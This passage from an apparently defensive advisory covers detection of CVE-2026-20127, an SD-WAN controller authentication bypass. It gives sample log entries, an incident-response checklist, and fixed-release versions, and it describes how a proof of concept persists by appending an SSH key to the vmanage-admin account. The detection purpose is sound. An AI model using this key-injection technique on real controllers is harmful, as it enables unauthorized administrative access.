Mar  5 17:30:13 vsmart VDAEMON_0[1556]: %Viptela-vSmart-01-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"vSmart-01" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.80.130 public-port:38237 src-color:public-internet remote-color:(null) uptime:"0:00:00:11" new-state:down

2. Immediate Post-Bypass Authentication

As demonstrated in the PoC, the immediate objective of the bypass is to inject an SSH key to the vmanage-admin account to enable CLI access.

High-Fidelity auth.log Markers:

  • vmanage-admin SSH Access: Successful publickey authentication for the vmanage-admin user originating from the same IP address as a suspicious vdaemon peering event.
  • NETCONF Connectivity: Successful SSH sessions to TCP port 830 (NETCONF) or TCP port 22 immediately following the “Connection UP” log.

Sample /var/log/auth.log entry:

Mar  5 17:37:32 vsmart sshd[30257]: Postponed publickey for vmanage-admin from 192.168.80.130 port 54314 ssh2 [preauth]
Mar  5 17:37:32 vsmart sshd[30257]: Accepted publickey for vmanage-admin from 192.168.80.130 port 54314 ssh2: RSA SHA256:wz2FD2K+z/6dLMnB1A3uzaRN7N2SnQ4kPgQZxSN+ERo
Mar  5 17:37:32 vsmart sshd[30257]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)

3. File Integrity: authorized_keys

The primary indicator for this specific vulnerability is the modification of the vmanage-admin SSH configuration.

  • Artifact Path: /home/vmanage-admin/.ssh/authorized_keys
  • Audit Action: Verify any new or unrecognized public keys. The PoC works by appending a key, so auditors should look for multiple keys where only one is expected.

Validation Checklist for Incident Responders

If a suspicious peering event is identified, responders should focus on the following to confirm CVE-2026-20127 exploitation:

Step Action Objective
1. Identity Audit Search logs for peer-system-ip::: Identify “Ghost” peers (0.0.0.0 or ::) bypass.
2. IP Correlation Cross-reference vsyslog and auth.log Link the exploit source IP to vmanage-admin login.
3. SSH Key Audit Inspect authorized_keys for vmanage-admin Detect unauthorized public key persistence.
4. State Audit Monitor vdaemon for Up state with null IP Confirm state-machine bypass (skipping RSA check).

Remediation

At the time of the advisory’s publication, Cisco does not recommend any workaround strategies for remediation. Organizations running affected instances of Cisco Catalyst SD-WAN Controller or Cisco Catalyst SD-WAN Manager should prioritize upgrading to a fixed version, as outlined below, to remediate CVE-2026-20127.

Cisco Catalyst SD-WAN Major Release First Fixed Release
20.18 20.18.2.1
20.16 20.18.2.1
20.15 20.15.4.2
20.14 20.15.4.2
20.13 20.15.4.2
20.12.6 20.12.6.1
20.12.5 20.12.5.3
20.11 20.12.6.1
20.9 20.9.8.2
Prior to 20.9 Migrate to a supported release

References